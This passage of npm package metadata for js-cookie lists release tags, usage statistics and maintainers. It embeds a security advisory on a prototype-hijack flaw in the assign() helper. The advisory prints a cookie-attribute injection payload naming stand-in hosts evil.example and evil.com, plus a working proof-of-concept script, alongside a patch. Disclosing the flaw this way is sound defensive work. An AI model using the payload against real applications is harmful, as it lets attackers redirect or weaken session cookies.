kie/js-cookie/releases/tag/v2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.0.4/manifests"},{"name":"v2.0.3","sha":"d827e087e1f919a4cd106ebe8542f3408d8fe124","kind":"commit","published_at":"2015-07-20T01:31:02.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v2.0.3","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.0.3/manifests"},{"name":"v2.0.2","sha":"aab421ebc55584e3f87b64ae2a77702c2f043280","kind":"commit","published_at":"2015-06-27T16:42:50.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v2.0.2","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"380cc86630fe807c89aaa5453e606bf6e00a7509","kind":"tag","published_at":"2015-06-22T15:07:09.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v2.0.1","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"3641d94a853034c6401d64de9fd82736c94afde7","kind":"commit","published_at":"2015-06-22T00:17:20.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v2.0.0","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.0.0/manifests"},{"name":"v2.0.0-beta.1","sha":"ede5390320df3d7208919592fb5d22cbdc9a075e","kind":"commit","published_at":"2015-05-10T00:08:12.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v2.0.0-beta.1","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v2.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v2.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.0.0-beta.1/manifests"},{"name":"v1.5.1","sha":"85a7e2866c864d1c4a361525b5fc6510f7cfe4f0","kind":"commit","published_at":"2015-04-24T02:54:23.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v1.5.1","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.5.1/manifests"},{"name":"v1.5.0","sha":"087d36ac338b92c001d3b6fb344874cbf37f8298","kind":"commit","published_at":"2015-04-15T16:29:54.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v1.5.0","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.5.0/manifests"},{"name":"v1.4.1","sha":"7f88a4e631aba8a8c688fd8999ce6b9bcfd50718","kind":"tag","published_at":"2014-04-27T20:11:59.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v1.4.1","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.4.1/manifests"},{"name":"v1.4.0","sha":"3caf209abe30a856789d0ceb464c297dfdbe670e","kind":"commit","published_at":"2013-10-05T18:24:16.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v1.4.0","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.4.0/manifests"},{"name":"v1.3.1","sha":"fd724ca9d68f7087427a5efe53d5c839a571c31f","kind":"tag","published_at":"2013-01-25T21:27:12.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v1.3.1","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"df3e07adc1e1196c7e7d7edf450c488ef1464224","kind":"tag","published_at":"2013-01-24T16:33:10.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v1.3.0","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.3.0/manifests"},{"name":"v1.2.0","sha":"e39cf517cc1bd2aec5950587f7abefa3a4662d29","kind":"tag","published_at":"2012-10-19T09:54:52.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v1.2.0","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.2.0/manifests"},{"name":"v1.1","sha":"2e12796f574f0d842aa1025d38b04111852ae074","kind":"tag","published_at":"2012-07-09T10:45:01.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v1.1","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.1/manifests"},{"name":"v1.0","sha":"67fb34f6a866c40d0570265e8fa5911605d92616","kind":"tag","published_at":"2012-07-09T10:44:35.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v1.0","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v1.0/manifests"}]},"repo_metadata_updated_at":"2026-11-01T09:18:50.365Z","dependent_packages_count":7490,"downloads":125301647,"downloads_period":"last-month","dependent_repos_count":135576,"rankings":{"downloads":0.04613500883273225,"dependent_repos_count":0.08799876462219672,"dependent_packages_count":0.012704239821001643,"stargazers_count":0.6357869674212913,"forks_count":0.816658105907362,"docker_downloads_count":0.0544858561288648,"average":0.2756281571222415},"purl":"pkg:npm/js-cookie","advisories":[{"uuid":"GSA_kwCzR0hTQS1xang4LTY2NG0tNjg2as4ABXOc","url":"https://github.com/advisories/GHSA-qjx8-664m-686j","title":"JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection","description":"## Summary\n\n`js-cookie`'s internal `assign()` helper copies properties with `for...in` + plain assignment. When the source object is produced by `JSON.parse`, the JSON object's `\"__proto__\"` member is an *own enumerable* property, so the `for…in` enumerates it and the `target[key] = source[key]` write triggers the **`Object.prototype.__proto__` setter** on the fresh `target` (`{}`). The result is a per-instance prototype hijack: `Object.prototype` itself is untouched, but the merged `attributes` object now inherits attacker-controlled keys.\n\nBecause the consuming `set()` function then enumerates the merged object with another `for...in`, every key the attacker placed on the polluted prototype lands in the resulting `Set-Cookie` string as an attribute pair. The attacker can set `domain=`, `secure=`, `samesite=`, `expires=`, and `path=` on cookies whose attributes the developer thought were locked down.\n\n## Impact\n\nAny application that forwards a JSON-derived object as the `attributes` argument to `Cookies.set`, `Cookies.remove`, `Cookies.withAttributes`, or `Cookies.withConverter` is vulnerable. This is the standard pattern when cookie configuration comes from a backend:\n\n```js\nconst cfg = await fetch('/config').then(r =\u003e r.json());\nCookies.set('session', token, cfg.cookieAttrs);   // cfg.cookieAttrs influenced by attacker\n```\n\nA payload of `{\"__proto__\":{\"domain\":\"evil.example\",\"secure\":\"false\",\"samesite\":\"None\"}}` causes js-cookie to emit:\n\n```\nSet-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None\n```\n\n## Affected code\n\n```js\n// src/assign.mjs — full file\nexport default function (target) {\n  for (var i = 1; i \u003c arguments.length; i++) {\n    var source = arguments[i]\n    for (var key in source) {                 // includes own enumerable '__proto__'\n      target[key] = source[key]                // [[Set]] form - fires __proto__ setter\n    }\n  }\n  return target\n}\n```\n## Proof of concept\n\nNode 22.11.0, no third-party deps:\n\n### Environment setup\n```bash\nmkdir -p /tmp/jscookie-poc \u0026\u0026 cd /tmp/jscookie-poc\nnpm init -y\nnpm i js-cookie\n```\n\n### PoC\n```js\nubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs\nlet lastSetCookie = '';\nglobalThis.document = {\n  get cookie() { return ''; },\n  set cookie(v) { lastSetCookie = v; }\n};\n\nconst { default: Cookies } = await import('js-cookie');\n\nconst attackerAttrs = JSON.parse(\n  '{\"__proto__\":{\"secure\":\"false\",\"domain\":\"evil.com\",\"samesite\":\"None\",\"expires\":-1}}'\n);\n\nCookies.set('session', 'TOKEN', attackerAttrs);\n\nconsole.log('Set-Cookie that js-cookie wrote to document.cookie:');\nconsole.log(lastSetCookie);\n```\n\nExecution:\n\u003cimg width=\"2614\" height=\"1174\" alt=\"cls-2026-05-14-01 44 39\" src=\"https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62\" /\u003e\n\n## Suggested patch\n\n```diff\n--- a/src/assign.mjs\n+++ b/src/assign.mjs\n@@\n export default function (target) {\n   for (var i = 1; i \u003c arguments.length; i++) {\n     var source = arguments[i]\n-    for (var key in source) {\n-      target[key] = source[key]\n-    }\n+    for (var key in source) {\n+      if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue\n+      Object.defineProperty(target, key, {\n+        value: source[key],\n+        writable: true,\n+        enumerable: true,\n+        configurable: true,\n+      })\n+    }\n   }\n   return target\n }\n```\n\nEquivalent one-liner alternative - iterate own names only and filter:\n\n```js\nfor (const key of Object.getOwnPropertyNames(source)) {\n  if (key === '__proto__') continue\n  target[key] = source[key]\n}\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-21T21:20:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/js-cookie/js-cookie/security/advisories/GHSA-qjx8-664m-686j","https://nvd.nist.gov/vuln/detail/CVE-2026-46625","https://github.com/js-cookie/js-cookie/commit/eb3c40e89731e99b8970faaf35ddad249c6c0020","https://github.com/js-cookie/js-cookie/releases/tag/v3.0.7","https://github.com/advisories/GHSA-qjx8-664m-686j"],"source_kind":"github","identifiers":["GHSA-qjx8-664m-686j","CVE-2026-46625"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-21T22:00:08.306Z","updated_at":"2026-10-26T21:03:23.944Z","epss_percentage":0.00919,"epss_percentile":0.60008,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xang4LTY2NG0tNjg2as4ABXOc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xang4LTY2NG0tNjg2as4ABXOc","packages":[{"ecosystem":"npm","package_name":"js-cookie","versions":[{"first_patched_version":"3.0.7","vulnerable_version_range":"\u003c= 3.0.5"}],"purl":"pkg:npm/js-cookie"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xang4LTY2NG0tNjg2as4ABXOc/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/js-cookie","docker_dependents_count":2063,"docker_downloads_count":1500192859,"usage_url":"https://repos.ecosyste.ms/usage/npm/js-cookie","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/js-cookie/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2026-10-31T06:04:12.746Z","issues_count":106,"pull_requests_count":141,"avg_time_to_close_issue":1322385.7788461538,"avg_time_to_close_pull_request":960215.031496063,"issues_closed_count":104,"pull_requests_closed_count":127,"pull_request_authors_count":16,"issue_authors_count":98,"avg_comments_per_issue":5.4245283018867925,"avg_comments_per_pull_request":0.6524822695035462,"merged_pull_requests_count":83,"bot_issues_count":0,"bot_pull_requests_count":114,"past_year_issues_count":3,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":457617.0,"past_year_avg_time_to_close_pull_request":996731.8032786886,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":61,"past_year_pull_request_authors_count":6,"past_year_issue_authors_count":3,"past_year_avg_comments_per_issue":5.666666666666667,"past_year_avg_comments_per_pull_request":0.3150684931506849,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":58,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/issues","maintainers":[{"login":"carhartl","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/carhartl"},{"login":"FagnerMartinsBrack","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/FagnerMartinsBrack"}],"active_maintainers":[{"login":"carhartl","count":10,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/carhartl"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/js-cookie/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/js-cookie/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/js-cookie/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/js-cookie/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/js-cookie/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/js-cookie/codemeta","maintainers":[{"uuid":"carhartl","login":"carhartl","name":null,"email":"klaus.hartl@gmail.com","url":null,"packages_count":5,"html_url":"https://www.npmjs.com/~carhartl","role":null,"created_at":"2022-11-10T11:19:26.118Z","updated_at":"2022-11-10T11:19:26.118Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/carhartl/packages"},{"uuid":"fagner","login":"fagner","name":null,"email":"australia@fagnermartins.com","url":null,"packages_count":8,"html_url":"https://www.npmjs.com/~fagner","role":null,"created_at":"2022-11-10T11:19:26.121Z","updated_at":"2022-11-10T11:19:26.121Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/fagner/packages"}]}